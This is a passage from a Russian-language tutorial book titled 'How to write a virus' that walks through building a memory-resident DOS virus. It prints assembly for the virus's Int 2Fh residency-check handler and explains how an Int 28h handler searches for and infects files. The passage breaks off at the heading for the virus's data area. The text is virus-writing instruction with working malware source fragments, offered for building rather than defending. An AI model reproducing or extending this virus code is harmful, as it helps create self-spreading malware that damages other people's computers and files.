"Игорь Коваль. Как написать вирус" - читать интересную книгу автора

Напомним,что секция инициализации для решения ука-
занной задачи вызывает Int 2Fh c такими параметра-
ми :

AX = 0F000h
BX = 01997h .

Если вирус уже инсталлирован в память,его обработ-
чик должен вернуть AL = 0FFh, это значение и ана-
лизирует секция инициализации при запуске заражен-
шой программы . Исходя из всего сказанного, можно
написать такой фрагмент :

;-------------------------------------------------
to_new_2fh equ $ - vir

new_2fh: pushf
cmp ax,0f000h
jne cs:not_our
cmp bx,1997h
jne cs:not_our
mov al,0ffh
popf
iret

not_our: popf
db 0eah
old_2fh dw 0
old_2fh_2 dw 0

Если вызывается прерывание Int 2Fh с параметрами,
отличными от AX = 0F000h и BX = 01997h, вирусный
обработчик просто возвращает управление системно-
му . В противном случае управление передается пре-
рванной программе, причем в этом случае AL будет
равно 0FFh.


2.21 Обработчик Int 28h

Строго говоря, мы его уже написали ( см. п. 2.5 ,
п. 2.6 и т.д. ).Именно он занимается поиском и за-
ражением файлов,пользуясь для этого функциями DOS.
Но так как эти функции используются тогда, когда
активно прерывание Int 28h, ничего страшного про-
изойти не должно .


2.22 Область данных вируса